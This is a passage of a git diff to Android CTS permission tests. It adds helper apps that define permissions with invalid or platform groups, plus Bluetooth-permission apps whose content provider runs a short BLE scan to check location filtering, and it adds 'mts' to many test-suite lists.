+}
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/AndroidManifest.xml b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/AndroidManifest.xml
new file mode 100644
index 0000000..8abd4cc
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatdefinespermissionwithinvalidgroup">
+
+    <permission android:name="com.android.cts.duplicatepermission.permA"
+                android:permissionGroup="com.android.cts.duplicatepermission.invalid"/>
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/Android.bp b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/Android.bp
new file mode 100644
index 0000000..4b02006
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/Android.bp
@@ -0,0 +1,31 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatDefinesPermissionWithInvalidGroup30",
+    defaults: ["cts_defaults"],
+    sdk_version: "30",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/AndroidManifest.xml b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/AndroidManifest.xml
new file mode 100644
index 0000000..2fc662c
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatdefinespermissionwithinvalidgroup30">
+
+    <permission android:name="com.android.cts.duplicatepermission.permA"
+                android:permissionGroup="com.android.cts.duplicatepermission.invalid"/>
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/Android.bp b/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/Android.bp
new file mode 100644
index 0000000..57e9b9e
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/Android.bp
@@ -0,0 +1,31 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatDefinesPermissionInPlatformGroup",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/AndroidManifest.xml b/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/AndroidManifest.xml
new file mode 100644
index 0000000..d4709eb
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatdefinespermissioninplatformgroup">
+
+    <permission android:name="com.android.cts.duplicatepermission.permA"
+                android:permissionGroup="android.permission-group.CAMERA"/>
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
index 12d94af..4494a6f 100644
--- a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
+++ b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
@@ -26,6 +26,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src/**/*.kt"],
 }
diff --git a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
index a93a23f..5695843 100644
--- a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
+++ b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
@@ -27,5 +27,6 @@
         "cts",
         "general-tests",
         "sts",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestBluetoothPermission30/Android.bp b/tests/tests/permission/AppThatRequestBluetoothPermission30/Android.bp
new file mode 100644
index 0000000..a6de815
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestBluetoothPermission30/Android.bp
@@ -0,0 +1,40 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+filegroup {
+    name: "AppThatRequestBluetoothPermission",
+    srcs: [
+        "src/**/*.java",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatRequestsBluetoothPermission30",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "sts",
+        "mts",
+    ],
+    srcs: [":AppThatRequestBluetoothPermission"],
+}
diff --git a/tests/tests/permission/AppThatRequestBluetoothPermission30/AndroidManifest.xml b/tests/tests/permission/AppThatRequestBluetoothPermission30/AndroidManifest.xml
new file mode 100644
index 0000000..d84e0d8
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestBluetoothPermission30/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatrequestpermission">
+
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
+
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+
+    <uses-permission android:name="android.permission.BLUETOOTH" />
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+
+    <application>
+        <provider
+            android:name=".AccessBluetoothOnCommand"
+            android:authorities="appthatrequestpermission"
+            android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/permission/AppThatRequestBluetoothPermission30/src/android/permission/cts/appthatrequestpermission/AccessBluetoothOnCommand.java b/tests/tests/permission/AppThatRequestBluetoothPermission30/src/android/permission/cts/appthatrequestpermission/AccessBluetoothOnCommand.java
new file mode 100644
index 0000000..f5b6817
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestBluetoothPermission30/src/android/permission/cts/appthatrequestpermission/AccessBluetoothOnCommand.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts.appthatrequestpermission;
+
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.le.BluetoothLeScanner;
+import android.bluetooth.le.ScanCallback;
+import android.bluetooth.le.ScanResult;
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.content.Intent;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.util.Base64;
+import android.util.Log;
+
+import java.util.HashSet;
+import java.util.List;
+
+public class AccessBluetoothOnCommand extends ContentProvider {
+    private static final String TAG = "AccessBluetoothOnCommand";
+
+    private enum Result {
+        UNKNOWN, EXCEPTION, EMPTY, FILTERED, FULL
+    }
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Bundle call(String authority, String method, String arg, Bundle extras) {
+        final Bundle res = new Bundle();
+        try {
+            final BluetoothManager bm = getContext().getSystemService(BluetoothManager.class);
+            final BluetoothLeScanner scanner = bm.getAdapter().getBluetoothLeScanner();
+
+            final HashSet<String> observed = new HashSet<>();
+            scanner.startScan(new ScanCallback() {
+                public void onScanResult(int callbackType, ScanResult result) {
+                    Log.v(TAG, String.valueOf(result));
+                    observed.add(Base64.encodeToString(result.getScanRecord().getBytes(), 0));
+                }
+
+                public void onBatchScanResults(List<ScanResult> results) {
+                    for (ScanResult result : results) {
+                        onScanResult(0, result);
+                    }
+                }
+            });
+
+            // Wait a few seconds to figure out what we actually observed
+            SystemClock.sleep(3000);
+            switch (observed.size()) {
+                case 0: res.putInt(Intent.EXTRA_INDEX, Result.EMPTY.ordinal()); break;
+                case 1: res.putInt(Intent.EXTRA_INDEX, Result.FILTERED.ordinal()); break;
+                case 5: res.putInt(Intent.EXTRA_INDEX, Result.FULL.ordinal()); break;
+                default: res.putInt(Intent.EXTRA_INDEX, Result.UNKNOWN.ordinal()); break;
+            }
+        } catch (Throwable t) {
+            Log.v(TAG, "Failed to scan", t);
+            res.putInt(Intent.EXTRA_INDEX, Result.EXCEPTION.ordinal());
+        }
+        return res;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+}
diff --git a/tests/tests/permission/AppThatRequestBluetoothPermission31/Android.bp b/tests/tests/permission/AppThatRequestBluetoothPermission31/Android.bp
new file mode 100644
index 0000000..f3bc59b
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestBluetoothPermission31/Android.bp
@@ -0,0 +1,33 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatRequestsBluetoothPermission31",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "sts",
+        "mts",
+    ],
+    srcs: [":AppThatRequestBluetoothPermission"],
+}
diff --git a/tests/tests/permission/AppThatRequestBluetoothPermission31/AndroidManifest.xml b/tests/tests/permission/AppThatRequestBluetoothPermission31/AndroidManifest.xml
new file mode 100644
index 0000000..70b3811
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestBluetoothPermission31/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatrequestpermission">
+
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+
+    <uses-permission android:name="android.permission.BLUETOOTH_ADVERTISE" />
+    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT" />
+    <uses-permission android:name="android.permission.BLUETOOTH_SCAN" />
+
+    <application>
+        <provider
+            android:name=".AccessBluetoothOnCommand"
+            android:authorities="appthatrequestpermission"
+            android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocation31/Android.bp b/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocation31/Android.bp
new file mode 100644
index 0000000..0b76542
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocation31/Android.bp
@@ -0,0 +1,33 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatRequestsBluetoothPermissionNeverForLocation31",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "sts",
+        "mts",
+    ],
+    srcs: [":AppThatRequestBluetoothPermission"],
+}
diff --git a/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocation31/AndroidManifest.xml b/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocation31/AndroidManifest.xml
new file mode 100644
index 0000000..446933d
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocation31/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatrequestpermission">
+
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+
+    <uses-permission
+        android:name="android.permission.BLUETOOTH_ADVERTISE"
+        android:usesPermissionFlags="neverForLocation" />
+    <uses-permission
+        android:name="android.permission.BLUETOOTH_CONNECT"
+        android:usesPermissionFlags="neverForLocation" />
+    <uses-permission
+        android:name="android.permission.BLUETOOTH_SCAN"
+        android:usesPermissionFlags="neverForLocation" />
+
+    <application>
+        <provider
+            android:name=".AccessBluetoothOnCommand"
+            android:authorities="appthatrequestpermission"
+            android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp b/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
index 872d1e4..e7fe577 100644
--- a/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
@@ -26,5 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp b/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
index 71189b2..2436d07 100644
--- a/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
@@ -26,5 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp b/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
index 5642900..f52d2dd 100644
--- a/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
@@ -26,5 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/Android.bp b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/Android.bp
new file mode 100644
index 0000000..b997271
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatRequestsLocationAndBackgroundPermission28",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+        "mts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/AndroidManifest.xml b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/AndroidManifest.xml
new file mode 100644
index 0000000..626ee3d
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatrequestpermission"
+    android:versionCode="3">
+
+    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
+
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+
+    <!-- The ACCESS_BACKGROUND_LOCATION was added for API 29. But apps targeting lower APK levels
+    can still request it to signal that they are aware of this new behavior -->
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
index ff5df61..8270dc9 100644
--- a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
@@ -26,5 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
index 26e7c7a..f04fa9b 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
@@ -26,5 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
index 6ab35ca..371277c 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
@@ -26,5 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
index dcfaffe..4ad32e2 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
@@ -26,5 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
index 2b5f3d8..5ed0726 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
@@ -26,5 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
index 1fd6a27..3748fbb 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
@@ -27,6 +27,7 @@
         "cts",
         "general-tests",
         "sts",
+        "mts",
     ],
     srcs: ["src/**/*.java"],
 }
diff --git a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
index 5c452ba..2d72428 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
@@ -27,6 +27,7 @@
         "cts",
         "general-tests",
         "sts",
+        "mts",
     ],
     srcs: ["src/**/*.java"],
 }
diff --git a/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
index 3e27cbe..9fd2e98 100644
--- a/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
+++ b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
@@ -26,5 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
index 745e233..23d3b49 100644
--- a/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
@@ -26,5 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRunsRationaleTests/Android.bp b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
index 251720f..e326c05 100644
--- a/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
+++ b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
@@ -28,6 +28,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/permission/AppThatRunsRationaleTests/AndroidManifest.xml b/tests/tests/permission/AppThatRunsRationaleTests/AndroidManifest.xml
index cede468..b8e0144 100644
--- a/tests/tests/permission/AppThatRunsRationaleTests/AndroidManifest.xml
+++ b/tests/tests/permission/AppThatRunsRationaleTests/AndroidManifest.xml
@@ -16,17 +16,17 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission.cts.appthatrunsrationaletests">
+     package="android.permission.cts.appthatrunsrationaletests">
 
-    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
 
     <application android:label="CtsRationaleTests">
-        <activity android:name=".TestActivity">
+        <activity android:name=".TestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="CtsRationalTests.intent.action.Launch" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="CtsRationalTests.intent.action.Launch"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
     </application>
 </manifest>
-
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
index a4cab1b..ef92d20 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
@@ -28,5 +28,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
index 67fbfd9..546179f 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
@@ -28,5 +28,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
index 9f6b2a8..b043eb3 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
@@ -25,5 +25,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
index 501dcbb..5e6d68e 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
@@ -25,5 +25,6 @@
     test_suites: [
         "cts",
